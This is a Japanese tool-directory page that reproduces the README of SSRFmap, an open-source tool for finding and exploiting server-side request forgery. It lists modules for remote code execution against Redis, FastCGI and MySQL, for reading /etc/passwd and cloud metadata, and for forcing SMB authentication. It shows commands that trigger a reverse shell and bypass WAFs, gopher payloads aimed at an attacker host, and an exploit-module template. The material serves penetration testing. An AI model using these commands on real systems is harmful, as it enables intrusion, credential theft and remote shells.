Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SSRFmap — 自動SSRFファザーおよびエクスプロイトツール | Kitploit
ツール/GitHubGitHub/swisskyrepo/ssrfmap
脆弱性分析エクスプロイト情報収集ウェブセキュリティファジングCTFペネトレーションテスト
GitHubswisskyrepo/ssrfmap

SSRFmap

自動SSRFファザーおよびエクスプロイトツール

リポジトリを見る
3.6k570591ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SSRFmap Python 3.4+ Rawsec's CyberSecurity Inventory

SSRFは、他のサービスに対する操作を引き起こすためによく利用されます。このフレームワークは、これらのサービスを簡単に発見し、悪用することを目的としています。SSRFmapは、Burpリクエストファイルを入力として受け取り、ファジングするパラメータを指定します。

Server Side Request Forgery(SSRF)は、攻撃者がサーバーに対して自身の代わりにリクエストを実行させる脆弱性です。

概要

  • モジュール
  • インストールとマニュアル
  • 例
  • SSRFmap - テスト
  • 貢献
    • 貢献者

モジュール

以下のモジュールはすでに実装されており、-m引数で使用できます。

名前説明
axfrDNSゾーン転送 (AXFR)
fastcgiFastCGI RCE
redisRedis RCE
githubGitHub Enterprise RCE < 2.8.7
zabbixZabbix RCE
mysqlMySQL コマンド実行
postgresPostgres コマンド実行
dockerDocker API 経由の情報漏洩
smtpSMTP メール送信
portscanホストの上位 8000 ポートをスキャン
networkscanネットワーク上の HTTP Ping スイープ
readfiles/etc/passwd などのファイルを読み取り
alibabaプロバイダーからファイルを読み取り(例: meta-data, user-data)
awsプロバイダーからファイルを読み取り(例: meta-data, user-data)
gceプロバイダーからファイルを読み取り(例: meta-data, user-data)
digitaloceanプロバイダーからファイルを読み取り(例: meta-data, user-data)
socksproxySOCKS4 プロキシ
smbhashUNC パス経由で SMB 認証を強制
tomcatTomcat Manager に対するブルートフォース攻撃
customリッスンしているサービス(例: netcat)にカスタムデータを送信

インストールとマニュアル

  • GitHub リポジトリから。

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ cd SSRFmap/
    $ pip3 install -r requirements.txt
    $ python3 ssrfmap.py
    
      usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                        [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                        [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
    
      optional arguments:
        -h, --help          show this help message and exit
        -r REQFILE          SSRF Request file
        -p PARAM            SSRF Parameter to target
        -m MODULES          SSRF Modules to enable
        -l HANDLER          Start an handler for a reverse shell
        -v [VERBOSE]        Enable verbosity
        --lhost LHOST       LHOST reverse shell or IP to target in the network
        --lport LPORT       LPORT reverse shell or port to target in the network
        --uagent USERAGENT  User Agent to use
        --ssl [SSL]         Use HTTPS without verification
        --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
        --level [LEVEL]     Level of test to perform (1-5, default: 1)
    
  • Docker

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ docker build --no-cache -t ssrfmap .
    $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
    $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
    

例

まず、ファジングするパラメータを含むリクエストが必要です。BurpリクエストはSSRFmapと相性が良いです。以下のような形式になります。さらに多くの例は ./examples フォルダにあります。

root@kitploit:~
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

-m に続けてモジュール名を指定します(複数のモジュールを起動する場合は , で区切ります)。

root@kitploit:~
# ローカルホストに対してポートスキャンを実行し、デフォルトファイルを読み取る
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

ヘッダー、GET パラメータ、POST パラメータにインジェクションしたい場合は、パラメータ名を指定するだけです。

root@kitploit:~
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

カスタムユーザーエージェントが必要な場合は --uagent を使用します。一部のターゲットは HTTPS を使用するため、--ssl で有効にできます。

root@kitploit:~
# カスタムユーザーエージェントを使用して HTTPS エンドポイントに対してポートスキャンを実行
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

一部のモジュールでは接続の折り返し(connect back)を作成できます。その場合は LHOST と LPORT を指定する必要があります。また、SSRFmap は受け取るリバースシェルをリッスンすることもできます。

root@kitploit:~
# Redis に対してリバースシェルをトリガー
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l は指定されたポートでリバースシェル用のリスナーを作成
# --lhost と --lport は Metasploit と同様に動作し、リバースシェルペイロードの作成に使用されます

WAF やフィルターで保護されているターゲットに対しては、--level パラメータで幅広いペイロードとエンコーディングを試すことができます。

root@kitploit:~
# --level : 一部の IDS/WAF をバイパスするためにペイロードを調整する機能。例: 127.0.0.1 -> [::] -> 0000: -> ...

SSRFmap テスト

フレームワークを簡単にテストするには、data/example.py SSRF サービスを使用します。

  • ローカル

    root@kitploit:~
    FLASK_APP=examples/example.py flask run &
    python ssrfmap.py -r examples/request.txt -p url -m readfiles
    
  • Docker

    root@kitploit:~
    docker build --no-cache -t ssrfmap .
    
    # サンプル SSRF HTTP サービスを実行
    docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
    
    # サンプル SSRF DNS サービスを実行
    docker exec -u root:root -it example python examples/ssrf_dns.py
    
    # ssrfmap ツールを実行
    docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
    

テストリクエストを実行します:

root@kitploit:~
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

貢献

プルリクエストは大歓迎です ❤️ 以下の機能や新しいサービスを自由に追加してください。

  • Redis PHP エクスプロイト
  • HTTP モジュール (Jenkins ?)
root@kitploit:~
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

以下は、サービスと連携するモジュールを追加する場合のテンプレートコードです。

root@kitploit:~
from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

リアルでのビールや、GitHub Sponsor ボタン経由でも貢献できます。

貢献者に感謝

インスパイアされたもの

  • How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai
  • Blog on Gopherus Tool -SpyD3r
  • Gopherus - Github
  • SSRF testing - cujanovic
ツールをダウンロード
memcachememcache インスタンス内にデータを保存